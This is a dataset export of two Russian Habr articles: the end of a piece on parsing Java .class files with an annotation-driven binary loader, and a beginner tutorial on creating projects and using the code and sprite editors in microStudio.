```
Значение 100500 будет представленно в пуле констант как экземпляр CONSTANT\_Integer. JVM спецификация для Java 12 определяет 17 типов, которые могут быть в пуле констант.
**Возможные экземпляры элементов пула констант**
| Constant type | Tag |
| --- | --- |
| CONSTANT\_Class | 7 |
| CONSTANT\_Fieldref | 9 |
| CONSTANT\_Methodref | 10 |
| CONSTANT\_InterfaceMethodref | 11 |
| CONSTANT\_String | 8 |
| CONSTANT\_Integer | 3 |
| CONSTANT\_Float | 4 |
| CONSTANT\_Long | 5 |
| CONSTANT\_Double | 6 |
| CONSTANT\_NameAndType | 12 |
| CONSTANT\_Utf8 | 1 |
| CONSTANT\_MethodHandle | 15 |
| CONSTANT\_MethodType | 16 |
| CONSTANT\_Dynamic | 17 |
| CONSTANT\_InvokeDynamic | 18 |
| CONSTANT\_Module | 19 |
| CONSTANT\_Package | 20 |
В нашей реализации создадим класс ConstantPoolItem в котором будет однобайтовое поле tag, определяющее какую именно структуру мы читаем в данный момент. На каждый элемент в таблице выше создадим Java класс, наследник ConstantPoolItem. Универсальный загрузчик бинарных файлов должен уметь определять какой именно класс-наследник должен быть использован на основании уже прочитанного тега
(в общем случае тег может быть переменной любого типа). Для этой цели определим интерфейс HasInheritor и реализуем этот интерфейс в классе ConstantPoolItem:
```
public interface HasInheritor {
public Class extends T getInheritor() throws InheritorNotFoundException;
public Collection> getInheritors();
}
```
```
public class ConstantPoolItem implements HasInheritor {
private final static Map> m = new HashMap<>();
static {
m.put((byte) 7, ClassInfo.class);
m.put((byte) 9, FieldRefInfo.class);
m.put((byte) 10, MethodRefInfo.class);
m.put((byte) 11, InterfaceMethodRefInfo.class);
m.put((byte) 8, StringInfo.class);
m.put((byte) 3, IntegerInfo.class);
m.put((byte) 4, FloatInfo.class);
m.put((byte) 5, LongInfo.class);
m.put((byte) 6, DoubleInfo.class);
m.put((byte) 12, NameAndTypeInfo.class);
m.put((byte) 1, Utf8Info.class);
m.put((byte) 15, MethodHandleInfo.class);
m.put((byte) 16, MethodTypeInfo.class);
m.put((byte) 17, DynamicInfo.class);
m.put((byte) 18, InvokeDynamicInfo.class);
m.put((byte) 19, ModuleInfo.class);
m.put((byte) 20, PackageInfo.class);
}
@FieldOrder(index = 1)
private byte tag;
@Override
public Class extends ConstantPoolItem getInheritor() throws InheritorNotFoundException {
Class extends ConstantPoolItem clazz = m.get(tag);
if (clazz == null) {
throw new InheritorNotFoundException(this.getClass().getName(), String.valueOf(tag));
}
return clazz;
}
@Override
public Collection> getInheritors() {
return m.values();
}
}
```
Универсальный загрузчик сам инстанцирует необходимый класс и продложит считывание. Единственное условие: индексы в классах-наследниках должны иметь сквозную нумерацию с родительским классом. Это означает что во всех классах-наследниках ConstantPoolItem, FieldOrder аннатация должна иметь индекс больше единицы, поскольку в родительском классе мы уже прочитали поле tag с номером "1".
Структура .class файла (продолжение)
====================================
После списка элементов пула констант в .class файле идет двухбайтовый идентификатор, определяющий детали данного класса — является ли класс аннотацией, интерфейсом, абстрактным классом, имеет ли флаг final и т.п. Далее следует двухбайтовый идентификатор (ссылка на элемент в пуле констант), определяющий данный класс. Этот идентификатор должен указывать на элемент с типом ClassInfo. Аналогичным образом определяется суперкласс для данного класса (то что указано после слова "extends" в определении класса). Для классов, не имеющих явно определенных суперклассов, в данном поле присутствует ссылка на класс Object.
В языке Java у любого класса может быть только один суперкласс, но количество
интерфейсов, которые реализует данный класс может быть несколько:
```
@FieldOrder(index = 9)
private short interfacesCount;
@FieldOrder(index = 10)
@ContainerSize(fieldName = "interfacesCount")
private List interfaceIndexList;
```
Каждый элемент в interfaceIndexList представляет ссылку на элемент в пуле констант (по указанному
инедксу должен находится элемент с типом ClassInfo).
Переменные класса (properties, fields) и методы представленны соответсвующими списками:
```
@FieldOrder(index = 11)
private short fieldsCount;
@FieldOrder(index = 12)
@ContainerSize(fieldName = "fieldsCount")
private List fieldList;
@FieldOrder(index = 13)
private short methodsCount;
@FieldOrder(index = 14)
@ContainerSize(fieldName = "methodsCount")
private List methodList;
```
Последним элементом в описании Java .class файла является список аттрибутов класса. Здесь могут быть перечислены аттрибуты описывающие исходный файл, относящийся к классу, вложенные классы и т.д.
Java bytecode оперирует числовыми данными в big-endian представлении, будем это представление использовать по умолчанию. Для двоичных форматов с little-endian числами будем использовать [LittleEndian](https://habr.com/ru/users/littleendian/) аннотацию. Для строк, которые не имеют предопределенной длины, а
считываются до терминального символа (как C-like null-terminated строки) будем использовать
аннотацию @StringTerminator:
```
@FieldOrder(index = 2)
@StringTerminator(0)
private String nullTerminatedString;
```
Иногда в нижележащие классы нужно пробросить информацию с более высокого уровня. Объект Method в methodList не имеет информации об имени класса, в котором он находится, более того объект-метод не содержит своего названия и списка параметров. Вся эта информация представленна в виде индексов на элементы в пуле констант. Для виртуальной машины этого достаточно, но нам хотелось бы реализовать методы toString(), чтобы они отображали информацию о методе в удобном для человека виде, а не в виде индексов на элементы в пуле констант. Для этого класс Method должен получить ссылку на ConstantPoolList и на переменную со значением thisClassIndex. Чтобы иметь возможность передавать ссылки на нижележащие уровни вложенности, будем использовать аннотацию [Inject](https://habr.com/ru/users/inject/):
```
@FieldOrder(index = 14)
@ContainerSize(fieldName = "methodsCount")
@Inject(fieldName = "constantPoolList")
@Inject(fieldName = "thisClassIndex")
private List methodList;
```
В текущем классе (ClassFile) будут вызываться getter методы для constantPoolList и thisClassIndex переменных, а в принимающем классе (в данном случае Method), будут вызваны setter методы (если они присутствуют).
Универсальный загрузчик
=======================
Итак, у нас есть один интерфейс HasInheritor и пять аннотаций @FieldOrder, @ContainerSize, [LittleEndian](https://habr.com/ru/users/littleendian/), [Inject](https://habr.com/ru/users/inject/) и @StringTerminator, которые позволяют описывать бинарные структуры на высоком уровне абстракции. Имея формальное описание, мы можем передать его универсальному загрузчику, который сможет инстанцировать описанную структуру, осуществить разбор бинарного файла и зачитать его в память.
В результате мы должны иметь возможность использовать такой код:
```
ClassFile classFile;
try (InputStream is = new FileInputStream(inputFileName)) {
Loader loader = new InputStreamLoader(is);
classFile = (ClassFile) loader.load();
}
```
К сожалению, разработчики Java платформы немного перемудрили и для восьмибайтных значений в пуле
констант предусмотрели две ячейки, причем первая ячейка должна содержать значение, а вторая остается
пустой. Это касается long и double констант.
**Описание из JVM спецификации**All 8-byte constants take up two entries in the constant\_pool table of the class
file. If a CONSTANT\_Long\_info or CONSTANT\_Double\_info structure is the entry
at index n in the constant\_pool table, then the next usable entry in the table is
located at index n+2. The constant\_pool index n+1 must be valid but is considered
unusable.
По всей видимости, разработчики Java хотели применить какую-то низкоуровневую оптимизацию, но позже
было признано, что это дизайнерское решение оказалось
**неудачным.**In retrospect, making 8-byte constants take two constant pool entries was a poor choice.
Чтобы обработать эти специфичные случаи, добавим аннотацию @EntrySize, которую будем использовать,
чтобы пометить восьмибайтные константы:
```
@EntrySize(value = 2, index = 1)
public class EightByteNumberInfo extends ConstantPoolItem {
@FieldOrder(index = 2)
private int highBytes;
@FieldOrder(index = 3)
private int lowBytes;
}
```
Аттрибут value указывает на количество ячеек, которые будет занимать элемент, index — индекс элемета,
который содержит значение. классы LongInfo и DoubleInfo будут расширять класс EightByteNumberInfo.
Универсальный загрузчик нужно будет расширить фукционалом, поддерживающим аннотацию @EntrySize.
```
public ClassFileLoader(String fileName) {
try {
File f = new File(fileName);
FileInputStream fis = new FileInputStream(f);
loader = new EntrySizeSupportLoader(fis);
} catch (FileNotFoundException e) {
throw new RuntimeException(e);
}
}
```
После загрузки класса ClassFileLoader'ом можно остановить отладчик и исследовать загруженный класс в инспекторе переменных в IDE.
Class file будет выглядеть вот так:
А Constant Pool так:
Заключение
==========
Тот кто смог дочитать до конца, возможно захочет поковырять Java байткод своими руками. Смело идите на гитхаб и качайте описание Java class файла в виде набора Java классов: <https://github.com/esavin/annotate4j-classfile>. Универсальный загрузчик и аннотации лежат здесь: <https://github.com/esavin/annotate4j-core>.
Для загрузки скомпилированного class файла воспользуйтесь загрузчиком annotate4j.classfile.loader.ClassFileLoader.
Большая часть кода была написана для Java 6, к современным версиям я адоптировал только constant pool. Сил и желания полностью реализовать загрузчик Java opcode'ов у меня не хватило, поэтому там только небольшие наработки в этой части.
Используя эту библиотеку (core часть) мне удалось зареверсить бинарный файл с данными Холтер мониторинга (ЭКГ исследование суточной активности сердца). С другой стороны, я не смог расшифровать бинарный протокол одной учетной системы, написанной на Delphi. Я не разобрался как передаются даты и иногда возникала ситуация, когда фактичиские данные не соответствовали структуре, построенной по предыдущим значениям.
Я пытался построить аналогично Java class файлу модель для ELF формата (запускаемый формат в Unix/Linux), но я не смог полностью понять спецификацию — она оказалась для меня слишком расплывчатой. Та же участь постигла JPEG и BMP форматы — все время натыкался на какие-то сложности с пониманием спецификации. | https://habr.com/ru/post/481260/ | null | ru | null |
# Часть 1. Создание и настройка проекта, работа в редакторах microStudio
Привет, Хабр!
Я решил повременить с написанием статей на тему microStudio, собрать больше информации, почитать вопросы в своей группе ВК (спасибо большое авторам этих вопросов), чтобы дать больше информации в этой статье.
Если вы не слышали о проекте microStudio, то можете прочитать мою [первую статью](https://habr.com/ru/post/595213/). В общих чертах я рассказал об этой среде программирования и в принципе этого хватит, чтобы получить какое-то представление о ней.
Спешу вам сообщить, что microStudio с недавнего времени доступна на русском языке (кроме уроков). Уроки тоже будут переведены.
Да, у перевода еще есть недочеты, но по большей части они не существенны. Все ошибки будут исправлены. Вы можете высказать свои замечания по поводу перевода здесь - это очень поможет сделать его еще лучше.
Выражаю свою благодарность автору перевода microStudio - это действительно большая и кропотливая работа.
Эту статью я пишу в виде обучающего материала для людей, которые хотят попробовать поработать в этой среде программирования.
Статья будет состоять из нескольких частей, так как целиком она получится слишком большой и не удобной для чтения.
**Итак, в этой статье я расскажу:**
1. ***Как создать проект***
2. ***Как настроить проект***
3. ***О работе с редактором кода***
4. ***О работе с редактором спрайтов***
Я пропускаю шаг с регистрацией, но если это вам понадобится, то вот [ссылка на статью](https://vk.com/@microstudio_programming_training-chast-3-registraciya-znakomstvo-s-polzovatelskim-interfeisom) в группе ВК. Там я довольно подробно все описал, единственное что вы можете зделать для удобства, так это включить сначала русский язык. Это очень просто сделать:
Выбор языка
> *Важно! После регистрации обязательно подтвердите эл. почту - иначе не все функции будут доступны. Так же они не будут доступны, если вы работаете над проектом на правах гостя. Например такие функции как сохранение проекта и импорт файлов не будут доступны.*
>
>
Как создать проект
------------------
Все предельно просто:
Кнопка "Создать новый проект"После регистрации перед вами будет это окно, где кнопка "Создать новый проект" говорит сама за себя.
Скажу немного забегая наперед: когда у вас уже открыто окно проекта, а вы хотите создать новый, то просто выйдите из текущего проекта над которым вы работаете. Для этого нажмите кнопку "Назад к проектам":
Кнопка "Назад к проектам"И тогда перед вами снова окажется стартовое окно, где можно создать новый проект.
Когда вы нажмете создать проект, перед вами будет это окошко:
Создание проектаВы можете дать название вашему проекту и нажать "Создать проект". Но сначала я расскажу о возможных настройках, которые можно применить при создании проекта.
Как настроить проект
--------------------
Нажмите дополнительно.
Настройка проектаВ этом окне мы должны, прежде всего, дать имя проекту. Так же можно настроить дополнительно:
* ***Тип проекта****: приложение(игра, демо); библиотека; урок.*
* ***Поддерживаемый язык****: microScript v1 - интерпретированный; microScript v1 - транслированный; Python, Lua, JavaScript.*
* ***Графическая библиотека****: базовый графический API; micro 2D (на основе Pixi.js); micro 3D (на основе Babylon.js); Pixi.js; Babylon.js.
Все, кроме базового API, пока доступны в виде эксперимента. Вы можете прочитать подробнее об экспериментальных функциях на* [*сайте сообщества microStudio*](https://microstudio.dev/community/news/new-2d-and-3d-apis-new-2d-and-3d-physics-apis---microstudio-experimental-features/251/) *(статья автора microStudio). В настоящее время идет работа над новой версией microScript. Вы также можете прочитать подробнее об этом, в статье автора,* [*на сайте сообщества*](https://microstudio.dev/community/articles/working-on-a-new-language-engine-for-microscript-v2/274/)*. Язык microScript v2 будет включать в себя весь microScript v1. Таким образом, проекты написанные на microScript v1 будут прекрасно работать и с новой версией языка. Вот например, какие новые функции появятся: двоичные операторы, многострочные комментарии, проверка типов, возможность приостановить выполнение на определенное время (по типу процедуры* `delay` *в Pascal).*
* ***Дополнительные инструменты и библиотеки****: matter.js - 2D физический движок; cannon.js - 3D физический движок. Эти библиотеки также имеют пометку "экспериментальные".*
> Что ж, я проделал всю эту процедуру. Не буду экспериментировать, оставлю все настройки как есть и создам проект "Test project". Скриншоты именно с этого проекта я и буду приводить в статье.
>
>
После того как настройки произведены, нажмите кнопку "Создать проект".
Перед нами будет окно проекта. Здесь, во вкладке "Настройки", также можно подключать и отключать дополнительные параметры. Кроме того там есть и другие настройки. Кликните по вкладке "Настройки":
Настройки проектаНастройки проектаВ этом разделе можно:
* *поменять имя проекта;*
* *Изменить метку (slug) проекта;*
* *Изменить секретный код проекта. Это набор символов известный только вам. Эти символы будут добавлены в конец URL адреса только тогда, когда проект является приватным, таким образом этот набор символов скрывает проект от других пользователей. Если вы сделаете проект публичным, то секретный код не будет прописан и другие пользователи смогут просматривать ваш проект;*
* *поменять настройки ориентации экрана;*
* *поменять настройки соотношения сторон;*
* *В самом низу, на скриншоте, мы видим те же самые параметры, которые можно было настроить при создании проекта. Их также можно менять здесь, в любое время.*
Если вы работаете онлайн, то проекты хранятся в облаке. Здесь можно узнать сколько места занимает ваш проект - *"Использование хранилища"*.
Узнать сколько места занимают все ваши проекты можно кликнув в верхнем правом углу страницы, там где отображается ваш никнейм и выбрать "Настройки":
Пользовательские настройкиПользовательские настройкиПо умолчанию у вас стандартный тип аккаунта. Для этого типа аккаунта доступно 50 Мб в хранилище. На самом деле это давольно много места для проектов microStudio - они очень легковесны. Трудность возникнет, например если в проекте очень много звуковых файлов и хранилище заполнено. Решить такую проблему можно тремя способами:
* *Хранить звуковые файлы на жестком диске компьютера и загружать их только тогда, когда они вам понадобятся и удалять, когда они не нужны.*
* *Скачать офлайн версию microStudio - тогда хранилищем для ваших проектов станет жесткий диск (путь расположения папок с проектами может выглядеть так: C:\Users\User\AppData\Roaming\microstudio\files\).*
* *Последний способ это поддержать microStudio на Patreon и получить больше места в хранилище.*
Чтобы выйти из пользовательских настроек и вернуться к окну проекта кликните по кнопке "Создать" на панели сверху или нажмите `←` в браузере.
Работа с редакторами
--------------------
### Редактор кода
Когда вы запустите только что созданный проект на экране появится окно проекта, а слева его редакторы. Сейчас нас интересует редактор "Код".
Редакторы кода, спрайтов, карт, звуков, музыки и документации проекта.Раздел "Код" первый в списке, он уже открыт по умолчанию и сейчас мы видим на экране редактор кода, окно запуска и консоль. Это самый главный редактор/раздел проекта. Именно здесь пишется программа, запускается и тестируется проект. Но обо всем по порядку.
Окно запуска проекта**В правой верхней части страницы расположено окно запуска проекта.**
Кнопки и ссылки, слева направо:
* *кнопка "Запустить проект"*
* *кнопка "Приостановить выполнение"*
* *кнопка "Перезапуск проекта"*
* *кнопка "Открепить окно запуска"*
* *QR код проекта*
* *URL адрес проекта*
Если вы нажмете кнопку "Запустить проект", то появится еще одна функция:
Кнопка "Сделать скриншот"Вы можете сделать скриншот приложения с помощью этой кнопки. Теперь, даже когда вы приостановите программу, эта функция будет доступна. Но в открепленном окне скриншот сделать не получится.
Кликнув по этой кнопке мы вызовем это меню:
Кнопка "Сохранить" сохранит файл в формате PNG на жесткий диск вашего компьютера. Значения ширины и высоты этого изображения будут соответствовать значениям ширины и высоты окна выполнения.
Кнопка "Установить в качестве плаката проекта" установит плакат проекта, который будет виден в разделе "Мои проекты":
Отображение плаката проекта (я нарисовал пару квадратов, один поверх другого, для примера и сделал их скриншот в окне выполнения).Плакат также будет виден другим пользователям, если вы опубликуете проект в microStudio.
Созданный скриншот можно также использовать в качестве иконки проекта, расскажу об этом далее, когда речь пойдет о редакторе спрайтов.
Что касается QR кода, это на самом деле полезная функция, если мы хотим тестировать приложение на мобильном устройстве, то можно отсканировать код и запустить проект, а не вбивать ссылку в поисковую строку.
Чтобы отсканировать код, сначала кликните по нему левой кнопкой мыши - тогда он станет хорошо виден:
QR код для открытия проекта на мобильном устройствеЕсли вы кликните по ссылке проекта, то он откроется в отдельной вкладке браузера.
Все изменения, которые вы будете вносить в программу, будут мгновенно отображаться на всех устройствах, где открыт этот проект, по QR коду или ссылке.
> *Справка: в главном окне проекта (он же раздел "код"), если в окне запуска проект запущен, то чтобы это окно было активно, нужно кликнуть в нем левой кнопкой мыши*.
>
>
**Под окном запуска проекта находится консоль:**
КонсольС помощью двух этих зеленых кнопок можно очистить и настроить консоль.
Консоль очень полезная вещь, вряд ли получится создать приложение, ни разу не обратившись к ней. Слишком много рассказывать о ней не буду, я думаю вы и сами изучите все ее возможности в ходе написания своего кода.
С ее помощью в microStudio вы можете, например, просмотреть поля таких объектов как `keyboard`, `mouse`, `gamepad` и `touch` . Собственно, эти объекты нужны для управления приложением/игрой.
Поля этих объектов (в большинстве случаев) определяются после того как мы нажмем клавишу или кликнем мышью или нажмем кнопку на геймпаде.
Проверить существующие переменные объекта "`keyboard`" можно так:
* *Запустите проект*
* *кликнете левой кнопкой мыши в окне запуска*
* *понажимайте любые клавиши*
* *введите в консоль* `keyboard` *и нажмите Enter*
В консоль выведутся значение переменных объекта `keyboard`. Все они равны `0` поскольку клавиши не нажаты в данный момент.
Если ввести в консоль "global", то можно просмотреть все поля microScript, ваши функции, переменные и т.п.
Также в консоли можно узнавать текущие значения глобальных переменных, задавать им новые значения по ходу программы - но думаю, больше вы узнаете сами, когда приступите к написанию своей программы.
Ну и на последок: в консоли можно просмотреть историю вводов используя клавиши со стрелками `↑` `↓` .
Ввод в консолиПросто установите курсор в поле ввода, как показано на скриншоте и листайте историю с помощью клавиш. История ввода сохраняется даже если вы выйдете и зайдете снова в проект или перезапустите браузер. История ввода в консоль - это одна история, она не зависит от того какой проект вы открыли, она всегда одна для всех проектов.
**Перейдем к окну с кодом:**
Окно редактирования кодаВ статье ["Основы языка microScript"](https://habr.com/ru/post/599545/) я рассказывал об этом языке, довольно подробно. Но если вы хотите лучше понять, что из себя представляет этот язык, изучить его, то советую почитать документацию.
Подсветка синтаксиса в редакторе кода присутствует:
Подсветка синтаксиса в редакторе кодаИтак, перед нами три основные функции microScript: `init()`, `update()`, `draw()`. Чтобы прочитать, что о них сказано в документации, ходить далеко не надо: просто кликните по слову *init* и внизу всплывет справка из документации про эту функцию:
Ссылка на документацию в окне проектаВы можете проделать это с остальными функциями. Если вы нажмете на красную кнопку "Посмотреть документацию" вы перейдете к соответствующему разделу документации. Чтобы вернуться из документации назад к проекту, нажмите кнопку "Создать" вверху страницы.
По умолчанию подсказки включены. Чтобы отключить подсказки, кликните по ней левой кнопкой мыши или по знаку вопроса (если подсказки не активны).
Слева расположена вкладка с файлами:
Вкладка с файламиВ подавляющем большинстве случаев программу придется делить на отдельные части (подпрограммы). В этой вкладке вы можете добавлять файлы с кодом. Именовать их можно используя строчные буквы латинского алфавита, цифры от 0 до 9 и знак нижнего подчеркивания. На скриншоте, в самом верху мы видим имя редактируемого файла, а также на каком языке он написан.
Вверху, справа на скриншоте мы видим три кнопки. Слева на право: уменьшить шрифт, увеличить шрифт, поиск по коду.
"Поиск по коду" - это очень полезная вещь. Эта функция позволяет:
* `.*` - поиск в регулярных выражениях
* `Аа` - поиск с учетом регистра
* `\b` - поиск целого слова
* `S` - поиск в выделеном коде
Фильтры поиска можно применять отдельно или выбрать несколько.
Кнопка "Поиск по коду"Поиск по коду с применением фильтровПредлагаю вам изучить опцию поисковика самим, просто попробуйте использовать его при написании кода.
Я рассмотрел почти все, что есть в редакторе кода, но есть еще одна функция.
Для ее вызова нажмите `Ctrl + ,`. Вот что появится на экране справа:
Эта функция позволяет настроить редактор кода. Вы можете выбрать другой цвет фона, например более светлый. Можете подключить Vim или VSCode.
Можно поменять стиль курсора и многое другое. Полистайте этот раздел, если хотите и посмотреть сами.
Но, все настройки сбросятся до настроек по умолчанию, при перезагрузки страницы. В автономной версии они также будут сброшены, при перезагрузки приложения microStudio.
Еще больше функций можно увидеть, если нажать F1 когда курсор активен в окне редактора кода:
Дополнительные функции и сочетание клавиш для их вызова### Редактор спрайтов
Нажмите на соответствующую кнопку, чтобы открыть редактор спрайтов.
Редактор спрайтовСпрайт "icon" открыт по умолчанию. Этот спрайт и будет иконкой вашего проекта.
Спрайт "icon" нельзя удалить, но его можно редактировать.
Вы также можете видеть на скриншоте спрайт "poster" - это плакат проекта (тот самый скриншот, который вы можете сделать в окне выполнения), он хранится в спрайтах проекта.
Редактор спрайтов microStudio напоминает [онлайн редактор Piscel](https://www.piskelapp.com/). Создатель microStudio Жиль Померей говорил что брал идеи именно из этого редактора спрайтов. Собственно и использовать Piscel для рисования спрайтов для проектов microStudio можно, как и любой другой редактор, если встроенный редактор покажется вам неудобным.
Меня устраивает редактор, но в него не мешало бы добавить пару функций: "отзеркалить спрайт", "автоматически заменить все участки с определенным цветом на другой цвет". Я задал этот вопрос в сообществе и вроде как эти инструменты будут добавлены в будущем.
Сверху находится панель инструментов редактора. Слева на право: "Отменить", "Восстановить", "Копировать", "Вырезать", "Вставить", "Удалить спрайт" - в принципе они всем знакомы.
Справа находится панель инструментов для рисования спрайтов. Я не вижу особого смысла объяснять, что там находится (эти инструменты есть во всех графических редакторах), но кое-что все же поясню.
Инструмент "Пипетка" также доступен, если вы удерживаете клавишу *Alt*. Немного поработав с редактором, вы поймете, что там нет еще одного необходимого инструмента - "удалить участок с определенным цветом". Этот инструмент легко заменяет инструмент "Заполнить". Просто выберите этот инструмент и установите для него минимальное значение непрозрачности (opacity). Теперь с помощью этого инструмента можно легко удалять участки с определенным цветом. Вот пример:
Удаление участков с определенным цветомЗа пару кликов я легко удалил фон. Теперь когда фон стал прозрачным, давайте проверим, как такой значок будет отображаться на рабочем столе, для этого я сделал сборку для Windows и сделал скриншот ярлыка:
Ярлык приложения
> *Совет: всегда возвращайте значение* `opacity` *для инструмента заливки и рисования обратно по умолчанию (до максимума) если закончили рисовать. Это нужно потому, что когда вы снова вернетесь в редактор и начнете рисовать, может произойти так, что вы забудете выставить непрозрачность на максимум и будете рисовать в слегка непрозрачном цвете - это можно спутать с более темным оттенком цвета. На скриншоте ниже значение* `opacity` *равно 75% и выбран самый насыщеный и яркий оттенок красного цвета, но на глаз, в редакторе, это может восприниматься как более темный красный цвет, нежели прозрачный. Это происходит из-за темного фона позади спрайта:*
>
>
Значение opacity = 75%*Вы можете не сразу понять, в чем дело - почему цвета потемнели. Или можете вообще не заметить что они темные и нарисовать пару спрайтов используя полупрозрачные цвета.
Установим* `opacity` *на 100%:*
Значение opacity = 100%*Поэтому будьте бдительны.*
> ***Краткое отступление: вы могли заметить некоторые артефакты на моих скриншотах. Это не дефект среды microStudio. Это сбой в работе моего браузера. Я пока не знаю в чем может быть проблема, но решу ее как только дойдут руки. Если вы знаете в чем может быть проблема, то напишите пожалуйста в комментариях.***
>
>
Сделаем фон снова прозрачным. И посмотрим, как такая иконка будет смотреться в окне выбора проектов:
Прозрачный фон иконки проекта стал чернымФон стал черным. Поэтому учитывайте эту особенность, особенно если хотите сделать проект публичным (такая иконка не всегда может смотреться красиво).
**Итак, я обещал показать как из плаката проекта можно сделать иконку.**
Выбираем иконку проекта и устанавливаем ей значения ширины и высоты которые нам понадобятся. По максимуму можно выбрать 256х256 пикселей. В качестве примера я и выбиру максимальное значение.
Выбираем наш постер и с помощью инструмена "Выбрать" обводим нужный нам участок соответствующий размерам иконки.
Копируем участок постера размером 256х256 пикселейЧтож, возможно ваш постер будет не подходить для этого по размерам. Поэтому вы можете его переделать: поменять размеры окна запуска и снова сделать скриншот. Максимальные размеры постера, которых вы можете добиться: 640х360. Менять размеры можно путем перетягивания стенок с помощью мыши:
Делаем окно запуска большеВторой вариант это сделать иконку приложения немного меньше, если не хотите менять размеры постера.
Теперь выбираем "Вставить". Вот что у меня вышло:
Иконка из постера проектаЕще скажу пару слов про эти инструменты:
Инструмент "Скопировать цвет" и инструменты для рисования тайловИнструмент "Скопировать цвет": если вы кликните левой кнопкой мыши по строке `"rgb(255,0,0)"`, то скопируете эту же строку кода, которую затем сможете использовать в своей программе. Вы скопируете именно то значение цвета, которое выбрано в редакторе. В данном случае эта строка соответствует красному цвету, который я использовал в примерах выше.
Инструменты для рисования тайлов помогут вам в создании тайловой графики для игр. Просто попробуйте поработать с этими инструментами - вы разберетесь с ними за пару секунд.
На моих скриншотах вы могли заметить одну неприятную особенность:
Палитра и инструмент "Пипетка" съехали внизЭто происходит из-за небольшого разрешения экрана моего монитора - 1366х768. Это мой монитор с антибликовым покрытием и мне действительно приятнее работать с ним, несмотря на такую особенность. Меньше нагрузка на глаза, да и привык больше. Но я проверил, как будет отображаться это на full HD мониторе:
На full HD мониторе все отображается нормальноЕсли у вас есть такая проблема, что палитра съехала вниз и не видна, то самое простое решение для этого: поменять масштаб в браузере. Зажмите *Ctrl* и повращаете колесом мыши. Выставите значение 80-90% процентов и все будет отображаться нормально.
### Импорт спрайтов
Сделать это просто - перетяните спрайт в окно со спрайтами и он будет импортирован. Формат изображения должен быть PNG или JPEG. Максимально допустимые размеры изображения: 1024х1024.
Скоро в редакторе спрайтов будет добавлена возможность хранить спрайты в отдельных папках - что очень удобно. Вот так это будет примерно выглядеть:
Добавить спрайт/Создать папку#### Экспорт спрайтов
Экспортировать спрайты можно вместе с проектом:
Экспорт проектаНажав кнопку вы загрузите архив вашего проекта. В соответствующей папке будут находиться ваши спрайты:
Все изображения хранятся в папке "sprites" проекта.Итак, в какой-то момент я понял, что с таким подробным описанием, статья будет слишком длинной, если я расскажу здесь все, что планировал (про другие редакторы, сборки, уроки и т.д.). Но в контексте того, что в русскоязычном интернете нет статей на тему microStudio, то пускай будет такое, может быть излишне подробное, описание.
> *Пишите свое мнение и вопросы в комментариях, я всегда с удовольствием отвечаю. А также подписывайтесь в* [*группу ВК*](https://vk.com/microstudio_programming_training)*, поддержите ее активом, я также пишу там статьи на тему* *microStudio* *время от времени, отвечаю на вопросы, даю примеры кода на microScript.*
>
>
И как всегда, спасибо за внимание! | https://habr.com/ru/post/649415/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.